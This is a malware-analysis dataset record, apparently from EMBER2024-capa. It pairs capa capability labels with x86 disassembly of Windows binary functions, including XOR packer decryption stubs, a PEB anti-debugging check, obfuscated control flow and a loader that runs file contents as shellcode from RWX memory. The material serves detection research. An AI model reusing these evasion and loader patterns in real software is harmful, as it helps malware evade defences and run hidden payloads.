joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49d910
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x49d91b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x49da1e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x57e5d8]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x57e5d8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x57e5d8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x57e5d8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x57e5d8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x57e5d8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x57e5d8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x57e5d8]
xor eax, edx
inc ecx
dec edi
jne 0x49d936
pop edi
test esi, esi
je 0x49da40
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x57e5d8]
xor eax, edx
inc ecx
dec esi
jne 0x49da22
pop esi
pop ebx
not eax
ret

Function at 0x49da50
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov edx, dword [ecx]
and esi, 0xff
mov eax, edx
and eax, 0xff
xor eax, esi
shr edx, 8
mov eax, dword [eax*4 + 0x57e5d8]
xor eax, edx
mov edx, dword [ecx + 4]
mov dword [ecx], eax
and eax, 0xff
add eax, edx
mov edx, dword [ecx + 8]
imul eax, eax, 0x8088405
inc eax
mov esi, edx
mov dword [ecx + 4], eax
and esi, 0xff
shr eax, 0x18
xor eax, esi
pop esi
shr edx, 8
mov eax, dword [eax*4 + 0x57e5d8]
xor eax, edx
mov dword [ecx + 8], eax
ret
Function at 0x49f180
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [esp + 0x18]
xor ebx, ebx
cmp edi, ebx
jne 0x49f19c
pop edi
pop esi
mov eax, 0xffffff9a
pop ebx
add esp, 8
ret
cmp dword [edi + 0x18], ebx
jne 0x49f1ad
pop edi
pop esi
mov eax, 0xffffff9a
pop ebx
add esp, 8
ret
cmp dword [edi + 0x7c], ebx
je 0x49f1bb
push edi
call fcn.0049f5a0
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
push edi
call fcn.0049ef80
add esp, 0x10
test eax, eax
je 0x49f1e3
pop edi
pop esi
mov eax, 0xffffff99
pop ebx
add esp, 8
ret
push 0x84
call fcn.00434622
mov esi, eax
add esp, 4
cmp esi, ebx
jne 0x49f202
pop edi
pop esi
mov eax, 0xffffff98
pop ebx
add esp, 8
ret
push 0x4000
call fcn.00434622
mov dword [esi], eax
mov ecx, dword [esp + 0x1c]
mov dword [esi + 0x44], ecx
mov edx, dword [esp + 0x10]
add esp, 4
cmp eax, ebx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
jne 0x49f23b
push esi
call fcn.00434616
add esp, 4
mov eax, 0xffffff98
pop edi
pop esi
pop ebx
add esp, 8
ret
mov dword [esi + 0x40], ebx
mov edx, dword [edi + 0x34]
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp edx, ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
sete al
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
cmp eax, ebx
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
jne 0x49f289
lea eax, [esi + 4]
mov dword [esi + 0x24], ebx
push eax
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.0049dd00
add esp, 4
test eax, eax
jne 0x49f289
mov dword [esi + 0x40], 1
mov ecx, dword [edi + 0x40]
mov dword [esi + 0x58], ecx
mov edx, dword [edi + 0x44]
mov dword [esi + 0x5c], edx
mov al, byte [edi + 0x30]
and al, 1
mov byte [esi + 0x6c], al
mov ecx, dword [edi + 0x30]
shr ecx, 3
test cl, 1
je 0x49f2b6
mov edx, dword [edi + 0x38]
shr edx, 8
mov byte [esi + 0x80], dl
jmp 0x49f2c2
mov eax, dword [edi + 0x3c]
shr eax, 0x18
mov byte [esi + 0x80], al
mov cl, byte [esi + 0x6c]
push ebp
mov ebp, dword [esp + 0x20]
lea ebx, [esi + 0x70]
neg cl
sbb ecx, ecx
mov dword [ebx], 0x12345678
and ecx, 0xc
mov dword [esi + 0x74], 0x23456789
test ebp, ebp
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x78], 0x34567890
je 0x49f303
mov al, byte [ebp]
test al, al
je 0x49f303
push eax
push ebx
call fcn.0049da50
add esp, 8
inc ebp
jne 0x49f2ef
mov edx, dword [edi + 0x78]
mov eax, dword [esp + 0x14]
mov dword [esi + 8], 0
pop ebp
lea ecx, [edx + eax + 0x1e]
xor eax, eax
mov dword [esi + 0x3c], ecx
mov dword [edi + 0x7c], esi
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x4a7310
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push 0xffffffffffffffff
push 0x51f4af
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x14], 0
call fcn.0043450e
mov ebp, dword [esp + 0x2c]
mov ebx, dword [0x52f254]
push 0
push 0
push 0xffffffffffffffff
push ebp
push 0
push 0x3b6
mov dword [esp + 0x38], 1
call ebx
mov edi, eax
lea eax, [edi + edi + 2]
push eax
call fcn.00434622
add esp, 4
mov esi, eax
push edi
push esi
push 0xffffffffffffffff
push ebp
push 0
push 0x3b6
call ebx
mov ebx, dword [0x52f24c]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0x3a8
call ebx
mov ebp, eax
lea ecx, [ebp + 1]
push ecx
call fcn.00434622
add esp, 4
mov edi, eax
push 0
push 0
push ebp
push edi
push 0xffffffffffffffff
push esi
push 0
push 0x3a8
call ebx
push edi
lea ecx, [esp + 0x14]
call fcn.00434676
push esi
call fcn.00434616
push edi
call fcn.00434616
mov esi, dword [esp + 0x30]
add esp, 8
lea edx, [esp + 0x10]
mov ecx, esi
push edx
call fcn.0043475a
mov dword [esp + 0x14], 1
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 0
call fcn.004344e4
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4a8140
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x51f641
push eax
mov eax, 0x1090
mov dword fs:[0], esp
call fcn.00434ed0
push ebx
push esi
xor esi, esi
push edi
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], esi
call fcn.0043450e
mov eax, dword [esp + 0x10b0]
lea ecx, [esp + 0xc]
push eax
mov ebx, 1
push 0x5b951c
push ecx
mov dword [esp + 0x10b0], ebx
call fcn.00434502
add esp, 0xc
push 0x80000002
push esi
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x5c669c
call fcn.00434760
push ecx
lea edx, [esp + 0x1c]
mov edi, esp
mov dword [esp + 0x2c], esp
push ecx
mov byte [esp + 0x10b8], 2
mov ecx, esp
mov dword [esp + 0x30], esp
push edx
call fcn.0043475a
push edi
call fcn.004a7da0
add esp, 8
lea ecx, [esp + 0x34]
mov byte [esp + 0x10b4], bl
call fcn.00473250
lea eax, [esp + 0x14]
lea ecx, [esp + 0x24]
push eax
mov byte [esp + 0x10a8], 3
call fcn.004735c0
lea ecx, [esp + 0x14]
mov byte [esp + 0x10a4], 4
push ecx
lea ecx, [esp + 0x14]
call fcn.0043475a
lea ecx, [esp + 0x14]
mov byte [esp + 0x10a4], 6
call fcn.004344e4
mov edx, dword [esp + 0x10]
push 0x5c669c
push edx
nop
nop
nop
nop
nop
nop
add esp, 8
test eax, eax
jne 0x4a8254
mov esi, dword [esp + 0x10ac]
push 0x5c669c
mov ecx, esi
call fcn.00434760
mov dword [esp + 0x18], ebx
jmp 0x4a82a6
mov eax, dword [0x627d14]
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
lea ecx, [esp + 0x1c]
mov eax, dword [eax - 8]
push ecx
push eax
push esi
mov ecx, 0x627d14
call fcn.00434628
push eax
lea ecx, [esp + 0x50]
call fcn.00480600
push esi
push ecx
lea edx, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x24], esp
push edx
call fcn.0043475a
mov esi, dword [esp + 0x10b4]
lea ecx, [esp + 0x4c]
push esi
call fcn.00481920
mov dword [esp + 0x18], ebx
lea ecx, [esp + 0x10]
mov byte [esp + 0x10a4], 3
call fcn.004344e4
lea ecx, [esp + 0x24]
mov byte [esp + 0x10a4], bl
call fcn.004733d0
lea ecx, [esp + 0xc]
mov byte [esp + 0x10a4], 0
call fcn.004344e4
mov ecx, dword [esp + 0x109c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x109c
ret

Function at 0x4abea0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov byte [ebp - 4], 0
xor esi, esi
call fcn.004731f0
add ebx, 6
call ebx
add bl, byte [ebx - 0x18]
xor byte [ebx - 4], dh
inc dword [ebx - 0x3cacf93d]
add dword [edx + 0x558a3e04], ecx
cld
add dl, al
inc esi
cmp esi, 0xf
mov byte [ebp - 4], dl
jb 0x4abeaf
mov eax, dword [ebp - 4]
mov ecx, 0x24
and eax, 0xff
cdq
idiv ecx
mov al, dl
cmp al, 9
jbe 0x4abef6
add al, 0x37
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
add al, 0x30
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4b2af0
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx], 0x67452301
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x58], eax
ret
Function at 0x4bd800
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x520471
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov al, byte [esp + 0x3c]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x44]
push ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x28], al
mov edx, dword [ecx]
lea ecx, [esp + 0x28]
mov dword [esp + 0x24], edx
nop
nop
nop
nop
nop
nop
mov eax, dword [0x52fcec]
lea edx, [esp + 0x10]
mov ecx, dword [eax]
push ecx
push ebx
push edx
lea ecx, [esp + 0x30]
nop
nop
nop
nop
nop
nop
lea eax, [esp + 0x20]
lea ecx, [esp + 8]
push eax
push ecx
mov ecx, esi
mov byte [esp + 0x44], 1
call fcn.004be690
mov esi, dword [eax]
mov edx, dword [eax + 4]
mov eax, dword [esp + 0x28]
cmp eax, ebx
mov dword [esp + 0xc], edx
je 0x4bd8ab
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4bd8a2
cmp al, 0xff
je 0x4bd8a2
dec al
mov byte [ecx], al
jmp 0x4bd8ab
push ecx
call fcn.00434616
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp + 0x28], ebx
cmp eax, ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
je 0x4bd8dc
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4bd8d3
cmp al, 0xff
je 0x4bd8d3
dec al
mov byte [ecx], al
jmp 0x4bd8dc
push ecx
call fcn.00434616
add esp, 4
mov ecx, dword [esp + 0x34]
lea eax, [esi + 0x10]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret 4
Function at 0x4c4cc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 8], edi
jmp 0x4c4ce2
mov eax, dword [ebp + 8]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push eax
nop
nop
nop
nop
nop
nop
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4c4d9a
lea ecx, [ebp - 0x10]
push ecx
push ebx
nop
nop
nop
nop
nop
nop
test eax, eax
je 0x4c4d85
mov eax, dword [ebp - 0xc]
test eax, eax
mov eax, dword [ebp - 0x10]
jg 0x4c4d85
jl 0x4c4d29
cmp eax, 0x6400000
ja 0x4c4d85
push eax
nop
nop
nop
nop
nop
nop
mov esi, eax
add esp, 4
test esi, esi
je 0x4c4d85
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
push 0
push edx
push eax
push esi
push ebx
nop
nop
nop
nop
nop
nop
test eax, eax
je 0x4c4d85
mov eax, dword [ebp - 4]
test eax, eax
jbe 0x4c4d69
mov cl, byte [edi + esi]
dec cl
xor cl, 0x55
mov byte [edi + esi], cl
mov eax, dword [ebp - 4]
inc edi
cmp edi, eax
jb 0x4c4d56
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push edx
push eax
push esi
call fcn.004c4c20
add esp, 0xc
test eax, eax
je 0x4c4d85
mov dword [ebp - 8], 1
push ebx
nop
nop
nop
nop
nop
nop
test esi, esi
je 0x4c4d9a
push esi
nop
nop
nop
nop
nop
nop
add esp, 4
jmp 0x4c4daa
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4c5190
Capabilities:
Decompress data using quicklz

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push ebp
call fcn.004c50e0
mov ebx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x20]
push ebp
add esi, ebp
mov edi, 1
lea ecx, [ebx + eax - 1]
mov dword [esp + 0x20], ecx
call fcn.004c5090
add esp, 8
cmp edi, 1
jne 0x4c51ca
mov edi, dword [esi]
add esi, 4
mov eax, dword [esi]
mov edx, edi
and edx, 1
cmp dl, 1
jne 0x4c527f
shr edi, 1
test al, 3
mov dword [esp + 0x14], edi
jne 0x4c51f4
shr eax, 2
and eax, 0x3f
inc esi
mov ecx, eax
mov eax, 3
jmp 0x4c525b
test al, 2
jne 0x4c520c
shr eax, 2
and eax, 0x3fff
add esi, 2
mov ecx, eax
mov eax, 3
jmp 0x4c525b
test al, 1
mov ecx, eax
jne 0x4c5229
shr eax, 2
shr ecx, 6
and eax, 0xf
and ecx, 0x3ff
add eax, 3
add esi, 2
jmp 0x4c525b
and ecx, 0x7f
cmp cl, 3
mov ecx, eax
je 0x4c524a
shr eax, 2
shr ecx, 7
and eax, 0x1f
and ecx, 0x1ffff
add eax, 2
add esi, 3
jmp 0x4c525b
shr eax, 7
and eax, 0xff
shr ecx, 0xf
add eax, 3
add esi, 4
mov edx, ebx
xor edi, edi
sub edx, ecx
mov ecx, ebx
sub edx, ebx
mov ebp, dword [edx + ecx]
add edi, 3
mov dword [ecx], ebp
add ecx, 3
cmp edi, eax
jb 0x4c5265
mov edi, dword [esp + 0x14]
add ebx, eax
jmp 0x4c51c0
mov edx, dword [esp + 0x18]
lea ecx, [edx - 0xa]
cmp ebx, ecx
jae 0x4c52a3
mov edx, edi
and edx, 0xf
mov ecx, dword [edx*4 + 0x58696c]
mov dword [ebx], eax
shr edi, cl
add ebx, ecx
add esi, ecx
jmp 0x4c51c0
cmp ebx, edx
ja 0x4c52c0
cmp edi, 1
jne 0x4c52b4
add esi, 4
mov edi, 0x80000000
mov al, byte [esi]
mov byte [ebx], al
inc ebx
inc esi
shr edi, 1
cmp ebx, edx
jbe 0x4c52a7
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4cc890
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
push ecx
push edx
push 0x5878c0
call fcn.004cc7b0
push 0x16
call fcn.00512a56
add esp, 0x14
push 3
call fcn.004351fe
nop
nop
nop
nop
nop
nop
Function at 0x50bd24
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov eax, 0x80
call fcn.00434ed0
push ebx
push ebp
push esi
mov esi, dword [esp + 0x9c]
xor eax, eax
push edi
test esi, esi
je 0x50bceb
mov ebx, dword [esp + 0x94]
mov eax, 1
mov dword [ebx], esi
jmp 0x50bcfd
mov ebx, dword [esp + 0x94]
mov ecx, dword [ebx]
mov dword [esp + 0xa0], ecx
mov esi, ecx
mov ecx, dword [esp + 0x98]
test ecx, ecx
je 0x50bea3
push esi
call fcn.004df930
mov edi, eax
add esp, 4
cmp edi, 0x80
jle 0x50bd33
push 0x5a47c8
push 0x68
push 0x5a47b0
call fcn.004cc890
add esp, 0xc
mov ebp, dword [esp + 0x9c]
cmp edi, ebp
jge 0x50bd90
mov edx, dword [esp + 0xa4]
lea edi, [ebx + 4]
push edx
push esi
push edi
call fcn.004e96b0
add esp, 0xc
test eax, eax
je 0x50be96
mov eax, dword [esp + 0x98]
push ebp
push eax
push edi
call fcn.004e9860
add esp, 0xc
test eax, eax
je 0x50be96
lea esi, [ebx + 0x4c]
lea ecx, [ebx + 0x50]
push esi
push ecx
push edi
call fcn.004e9880
add esp, 0xc
test eax, eax
je 0x50be96
jmp 0x50bdcf
test ebp, ebp
jl 0x50bd9c
cmp ebp, 0x80
jle 0x50bdb0
push 0x5a4788
push 0x75
push 0x5a47b0
call fcn.004cc890
add esp, 0xc
mov esi, dword [esp + 0x98]
mov ecx, ebp
mov edx, ecx
lea edi, [ebx + 0x50]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebx + 0x4c]
mov dword [esi], ebp
mov esi, dword [esi]
cmp esi, 0x80
je 0x50bdf4
mov ecx, 0x80
xor eax, eax
sub ecx, esi
lea edi, [esi + ebx + 0x50]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov esi, dword [esp + 0xa0]
xor eax, eax
mov cl, byte [ebx + eax + 0x50]
xor cl, 0x36
mov byte [esp + eax + 0x10], cl
inc eax
cmp eax, 0x80
jl 0x50bdfd
mov ebp, dword [esp + 0xa4]
lea edi, [ebx + 0x1c]
push ebp
push esi
push edi
call fcn.004e96b0
add esp, 0xc
test eax, eax
je 0x50be96
push esi
call fcn.004df930
lea edx, [esp + 0x14]
push eax
push edx
push edi
call fcn.004e9860
add esp, 0x10
test eax, eax
je 0x50be96
xor eax, eax
mov cl, byte [ebx + eax + 0x50]
xor cl, 0x5c
mov byte [esp + eax + 0x10], cl
inc eax
cmp eax, 0x80
jl 0x50be44
lea edi, [ebx + 0x34]
push ebp
push esi
push edi
call fcn.004e96b0
add esp, 0xc
test eax, eax
je 0x50be96
push esi
call fcn.004df930
lea edx, [esp + 0x14]
push eax
push edx
push edi
call fcn.004e9860
add esp, 0x10
test eax, eax
je 0x50be96
lea eax, [ebx + 0x1c]
add ebx, 4
push eax
push ebx
call fcn.004e9920
add esp, 8
test eax, eax
jne 0x50beac
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x80
ret
test eax, eax
je 0x50be82
jmp 0x50bdfb
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x80
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..retplne
nop
nop
mov ebx, 0x40de38
mov ecx, 0x3996860
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
mov eax, section..reloc
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x18166f70
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x35a27753
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0xad7634
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x4a033cc3
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x42e26f9f
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x100081c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [0x1008f080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ecx, dword [0x10090544]
mov eax, dword [0x10090540]
mov edx, ecx
add edx, 0x5bb155ad
sub edx, 1
sub edx, 0x5bb155ad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x16], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x15], al
mov dword [ebp - 0x1c], 0xc9230708
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
sub eax, 0x95cb23e4
je 0x10008316
jmp 0x10008234
mov eax, dword [ebp - 0x28]
sub eax, 0xc9230708
je 0x10008298
jmp 0x10008247
mov eax, dword [ebp - 0x28]
sub eax, 0x2e699a91
je 0x1000837e
jmp 0x1000825a
mov eax, dword [ebp - 0x28]
sub eax, 0x2e6ff57d
je 0x100082be
jmp 0x1000826d
mov eax, dword [ebp - 0x28]
sub eax, 0x5542d351
je 0x1000830a
jmp 0x10008280
mov eax, dword [ebp - 0x28]
sub eax, 0x77ef7f3f
je 0x10008328
jmp 0x10008293
jmp 0x10008385
mov al, byte [ebp - 0x16]
mov cl, byte [ebp - 0x15]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2e699a91
mov ecx, 0x2e6ff57d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c], eax
jmp 0x10008385
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
mov eax, dword [0x10090544]
mov ecx, dword [0x10090540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2e699a91
mov ecx, 0x5542d351
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c], eax
jmp 0x10008385
mov dword [ebp - 0x1c], 0x95cb23e4
jmp 0x10008385
push eax
mov eax, esp
